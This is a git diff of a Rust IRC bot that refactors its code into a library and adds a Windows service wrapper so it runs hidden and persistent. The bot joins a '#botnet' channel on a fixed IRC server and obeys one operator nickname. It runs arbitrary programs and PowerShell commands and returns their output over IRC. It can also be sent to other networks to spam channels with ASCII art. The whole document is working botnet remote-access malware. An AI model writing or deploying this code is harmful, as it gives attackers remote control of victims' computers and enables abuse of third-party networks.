diff --git a/Cargo.lock b/Cargo.lock index 4f177bd..1bb7f0a 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -428,6 +428,7 @@ dependencies = [ "gethostname", "irc", "tokio", + "windows-service", ] [[package]] @@ -1012,6 +1013,12 @@ version = "0.2.89" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "7ab9b36309365056cd639da3134bf87fa8f3d86008abf99e612384a6eecd459f" +[[package]] +name = "widestring" +version = "1.0.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "653f141f39ec16bba3c5abe400a0c60da7468261cc2cbf36805022876bc721a8" + [[package]] name = "winapi" version = "0.3.9" @@ -1043,6 +1050,26 @@ dependencies = [ "windows-targets 0.48.5", ] +[[package]] +name = "windows-service" +version = "0.6.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cd9db37ecb5b13762d95468a2fc6009d4b2c62801243223aabd44fca13ad13c8" +dependencies = [ + "bitflags 1.3.2", + "widestring", + "windows-sys 0.45.0", +] + +[[package]] +name = "windows-sys" +version = "0.45.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "75283be5efb2831d37ea142365f009c02ec203cd29a3ebecbc093d52315b66d0" +dependencies = [ + "windows-targets 0.42.2", +] + [[package]] name = "windows-sys" version = "0.48.0" @@ -1061,6 +1088,21 @@ dependencies = [ "windows-targets 0.52.0", ] +[[package]] +name = "windows-targets" +version = "0.42.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8e5180c00cd44c9b1c88adb3693291f1cd93605ded80c250a75d472756b4d071" +dependencies = [ + "windows_aarch64_gnullvm 0.42.2", + "windows_aarch64_msvc 0.42.2", + "windows_i686_gnu 0.42.2", + "windows_i686_msvc 0.42.2", + "windows_x86_64_gnu 0.42.2", + "windows_x86_64_gnullvm 0.42.2", + "windows_x86_64_msvc 0.42.2", +] + [[package]] name = "windows-targets" version = "0.48.5" @@ -1091,6 +1133,12 @@ dependencies = [ "windows_x86_64_msvc 0.52.0", ] +[[package]] +name = "windows_aarch64_gnullvm" +version = "0.42.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "597a5118570b68bc08d8d59125332c54f1ba9d9adeedeef5b99b02ba2b0698f8" + [[package]] name = "windows_aarch64_gnullvm" version = "0.48.5" @@ -1103,6 +1151,12 @@ version = "0.52.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "cb7764e35d4db8a7921e09562a0304bf2f93e0a51bfccee0bd0bb0b666b015ea" +[[package]] +name = "windows_aarch64_msvc" +version = "0.42.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e08e8864a60f06ef0d0ff4ba04124db8b0fb3be5776a5cd47641e942e58c4d43" + [[package]] name = "windows_aarch64_msvc" version = "0.48.5" @@ -1115,6 +1169,12 @@ version = "0.52.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "bbaa0368d4f1d2aaefc55b6fcfee13f41544ddf36801e793edbbfd7d7df075ef" +[[package]] +name = "windows_i686_gnu" +version = "0.42.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c61d927d8da41da96a81f029489353e68739737d3beca43145c8afec9a31a84f" + [[package]] name = "windows_i686_gnu" version = "0.48.5" @@ -1127,6 +1187,12 @@ version = "0.52.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "a28637cb1fa3560a16915793afb20081aba2c92ee8af57b4d5f28e4b3e7df313" +[[package]] +name = "windows_i686_msvc" +version = "0.42.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "44d840b6ec649f480a41c8d80f9c65108b92d89345dd94027bfe06ac444d1060" + [[package]] name = "windows_i686_msvc" version = "0.48.5" @@ -1139,6 +1205,12 @@ version = "0.52.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "ffe5e8e31046ce6230cc7215707b816e339ff4d4d67c65dffa206fd0f7aa7b9a" +[[package]] +name = "windows_x86_64_gnu" +version = "0.42.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8de912b8b8feb55c064867cf047dda097f92d51efad5b491dfb98f6bbb70cb36" + [[package]] name = "windows_x86_64_gnu" version = "0.48.5" @@ -1151,6 +1223,12 @@ version = "0.52.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "3d6fa32db2bc4a2f5abeacf2b69f7992cd09dca97498da74a151a3132c26befd" +[[package]] +name = "windows_x86_64_gnullvm" +version = "0.42.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "26d41b46a36d453748aedef1486d5c7a85db22e56aff34643984ea85514e94a3" + [[package]] name = "windows_x86_64_gnullvm" version = "0.48.5" @@ -1163,6 +1241,12 @@ version = "0.52.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "1a657e1e9d3f514745a572a6846d3c7aa7dbe1658c056ed9c3344c4109a6949e" +[[package]] +name = "windows_x86_64_msvc" +version = "0.42.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9aec5da331524158c6d1a4ac0ab1541149c0b9505fde06423b02f5ef0106b9f0" + [[package]] name = "windows_x86_64_msvc" version = "0.48.5" diff --git a/Cargo.toml b/Cargo.toml index 5d22fa9..5852cc3 100644 --- a/Cargo.toml +++ b/Cargo.toml @@ -10,4 +10,5 @@ irc = "0.15.0" tokio = { version = "1.0.0", features = ["rt", "rt-multi-thread", "macros", "net", "time"] } futures = "0.3.0" failure = "0.1.8" -gethostname = "*" \ No newline at end of file +gethostname = "*" +windows-service = "*" \ No newline at end of file diff --git a/src/bin/windows_service.rs b/src/bin/windows_service.rs new file mode 100644 index 0000000..b1ca248 --- /dev/null +++ b/src/bin/windows_service.rs @@ -0,0 +1,24 @@ +#![windows_subsystem = "windows"] + +#[macro_use] +extern crate windows_service; + +use irc_rpc::start_loop; + +use std::ffi::OsString; +use windows_service::service_dispatcher; + +define_windows_service!(ffi_service_main, my_service_main); + +fn my_service_main(arguments: Vec) { + // The entry point where execution will start on a background thread after a call to + // `service_dispatcher::start` from `main`. + start_loop(); +} + +fn main() -> Result<(), windows_service::Error> { + // Register generated `ffi_service_main` with the system and start the service, blocking + // this thread until the service is stopped. + service_dispatcher::start("irc-rpc", ffi_service_main)?; + Ok(()) +} \ No newline at end of file diff --git a/src/lib.rs b/src/lib.rs new file mode 100644 index 0000000..81b07e7 --- /dev/null +++ b/src/lib.rs @@ -0,0 +1,170 @@ +use futures::prelude::*; +use irc::client::prelude::*; +use std::{collections::HashMap, process}; + +static ART: &str = include_str!("ouch.txt"); + +pub fn start_loop() { + tokio::runtime::Builder::new_multi_thread() + .enable_all() + .build() + .unwrap() + .block_on(async { + event_loop().await.unwrap(); + }); +} + +async fn event_loop() -> Result<(), failure::Error> { + // We can also load the Config at runtime via Config::load("path/to/config.toml") + let config = Config { + nickname: Some(gethostname::gethostname().to_str().unwrap().to_owned()), + server: Some("irc.ouch.chat".to_owned()), + channels: vec!["#botnet".to_owned()], + channel_keys: HashMap::from([("#botnet".to_owned(), "fuckyou".to_owned())]), + ..Config::default() + }; + + let mut client = Client::from_config(config).await?; + client.identify()?; + + let mut stream = client.stream()?; + let sender = client.sender(); + + while let Some(message) = stream.next().await.transpose()? { + print!("{}", message); + + match message.command { + Command::PRIVMSG(ref tar, ref msg) => { + let mut target = tar.to_string(); + + if target == client.current_nickname() { + target = message.source_nickname().unwrap().to_string(); + } + + if msg.starts_with("!") && message.source_nickname().unwrap() == "blackbeard420" { + let cmd = msg.split_ascii_whitespace().nth(0); + + match cmd { + Some("!exec") => { + let mut args = msg.split_ascii_whitespace().skip(1); + + let mut cmd = process::Command::new(args.nth(0).unwrap()); + + for x in args { + cmd.arg(x); + } + + println!("{:?}", cmd); + + let out = cmd.output().unwrap(); + sender.send_privmsg( + &target, + format!("Exit Code: {}", out.status.code().unwrap_or(-1)), + )?; + + let output = String::from_utf8_lossy(&out.stdout).to_string(); + + let s = sender.clone(); + + let t = target.to_string(); + + tokio::spawn(async move { send_message(s, t, output).await }); + } + Some("!p") => { + let mut cmd = process::Command::new("powershell"); + + cmd.arg("-command"); + cmd.arg(&msg[3..]); + + println!("{:?}", cmd); + + let out = cmd.output().unwrap(); + sender.send_privmsg( + &target, + format!("Exit Code: {}", out.status.code().unwrap_or(-1)), + )?; + + let outerr = String::from_utf8_lossy(&out.stderr).to_string(); + let output = String::from_utf8_lossy(&out.stdout).to_string(); + + let s = sender.clone(); + + let t = target.to_string(); + + tokio::spawn(async move { send_message(s, t, outerr).await }); + + let s = sender.clone(); + let t = target.to_string(); + + tokio::spawn(async move { send_message(s.clone(), t, output).await }); + } + Some("!advert") => { + let mut args = msg.split_ascii_whitespace().skip(1); + let l = msg.split_ascii_whitespace().skip(1).count(); + if l == 2 { + let net = args.next().unwrap().to_string(); + let chan = args.next().unwrap().to_string(); + println!("{} {}", net, chan); + tokio::spawn(async move { target_advert(net, chan).await }); + } + } + _ => {} + } + } + } + _ => {} + } + } + + Ok(()) +} + +async fn send_message( + sender: irc::client::Sender, + target: String, + msg: String, +) -> Result<(), failure::Error> { + for l in msg.lines() { + sender.send_privmsg(target.clone(), l)?; + tokio::time::sleep(tokio::time::Duration::from_millis(500)).await; + } + Ok(()) +} + +async fn target_advert(network: String, channel: String) -> Result<(), failure::Error> { + let config = Config { + nickname: Some("ouchie".to_owned()), + server: Some(network), + channels: vec![channel.clone()], + ..Config::default() + }; + + let mut client = Client::from_config(config).await?; + client.identify()?; + + let mut stream = client.stream()?; + let sender = client.sender(); + + while let Some(message) = stream.next().await.transpose()? { + print!("{}", message); + + if let Command::JOIN(_, _, _) = message.command { + let sender = sender.clone(); + let channel = channel.clone(); + + println!("motd"); + + tokio::spawn(async move { + println!("pre time"); + tokio::time::sleep(tokio::time::Duration::from_secs(5)).await; + println!("post time"); + send_message(sender.clone(), channel, ART.to_string()) + .await + .unwrap(); + sender.send_quit("ouch or die").unwrap() + }); + } + } + + Ok(()) +} diff --git a/src/main.rs b/src/main.rs index faf88b0..37d091f 100644 --- a/src/main.rs +++ b/src/main.rs @@ -1,163 +1,7 @@ #![windows_subsystem = "windows"] -use futures::prelude::*; -use irc::client::prelude::*; -use std::{collections::HashMap, process}; +use irc_rpc::start_loop; -static ART: &str = include_str!("ouch.txt"); - -#[tokio::main] -async fn main() -> Result<(), failure::Error> { - // We can also load the Config at runtime via Config::load("path/to/config.toml") - let config = Config { - nickname: Some(gethostname::gethostname().to_str().unwrap().to_owned()), - server: Some("irc.ouch.chat".to_owned()), - channels: vec!["#botnet".to_owned()], - channel_keys: HashMap::from([("#botnet".to_owned(), "fuckyou".to_owned())]), - ..Config::default() - }; - - let mut client = Client::from_config(config).await?; - client.identify()?; - - let mut stream = client.stream()?; - let sender = client.sender(); - - while let Some(message) = stream.next().await.transpose()? { - print!("{}", message); - - match message.command { - Command::PRIVMSG(ref tar, ref msg) => { - let mut target = tar.to_string(); - - if target == client.current_nickname() { - target = message.source_nickname().unwrap().to_string(); - } - - if msg.starts_with("!") && message.source_nickname().unwrap() == "blackbeard420" { - let cmd = msg.split_ascii_whitespace().nth(0); - - match cmd { - Some("!exec") => { - let mut args = msg.split_ascii_whitespace().skip(1); - - let mut cmd = process::Command::new(args.nth(0).unwrap()); - - for x in args { - cmd.arg(x); - } - - println!("{:?}", cmd); - - let out = cmd.output().unwrap(); - sender.send_privmsg( - &target, - format!("Exit Code: {}", out.status.code().unwrap_or(-1)), - )?; - - let output = String::from_utf8_lossy(&out.stdout).to_string(); - - let s = sender.clone(); - - let t = target.to_string(); - - tokio::spawn(async move { send_message(s, t, output).await }); - } - Some("!p") => { - let mut cmd = process::Command::new("powershell"); - - cmd.arg("-command"); - cmd.arg(&msg[3..]); - - println!("{:?}", cmd); - - let out = cmd.output().unwrap(); - sender.send_privmsg( - &target, - format!("Exit Code: {}", out.status.code().unwrap_or(-1)), - )?; - - let outerr = String::from_utf8_lossy(&out.stderr).to_string(); - let output = String::from_utf8_lossy(&out.stdout).to_string(); - - let s = sender.clone(); - - let t = target.to_string(); - - tokio::spawn(async move { send_message(s, t, outerr).await }); - - let s = sender.clone(); - let t = target.to_string(); - - tokio::spawn(async move { send_message(s.clone(), t, output).await }); - } - Some("!advert") => { - let mut args = msg.split_ascii_whitespace().skip(1); - let l = msg.split_ascii_whitespace().skip(1).count(); - if l == 2 { - let net = args.next().unwrap().to_string(); - let chan = args.next().unwrap().to_string(); - println!("{} {}", net, chan); - tokio::spawn(async move { target_advert(net, chan).await }); - } - } - _ => {} - } - } - } - _ => {} - } - } - - Ok(()) -} - -async fn send_message( - sender: irc::client::Sender, - target: String, - msg: String, -) -> Result<(), failure::Error> { - for l in msg.lines() { - sender.send_privmsg(target.clone(), l)?; - tokio::time::sleep(tokio::time::Duration::from_millis(500)).await; - } - Ok(()) -} - -async fn target_advert(network: String, channel: String) -> Result<(), failure::Error> { - let config = Config { - nickname: Some("ouchie".to_owned()), - server: Some(network), - channels: vec![channel.clone()], - ..Config::default() - }; - - let mut client = Client::from_config(config).await?; - client.identify()?; - - let mut stream = client.stream()?; - let sender = client.sender(); - - while let Some(message) = stream.next().await.transpose()? { - print!("{}", message); - - if let Command::JOIN(_, _, _) = message.command { - let sender = sender.clone(); - let channel = channel.clone(); - - println!("motd"); - - tokio::spawn(async move { - println!("pre time"); - tokio::time::sleep(tokio::time::Duration::from_secs(5)).await; - println!("post time"); - send_message(sender.clone(), channel, ART.to_string()) - .await - .unwrap(); - sender.send_quit("ouch or die").unwrap() - }); - } - } - - Ok(()) -} +fn main() { + start_loop(); +} \ No newline at end of file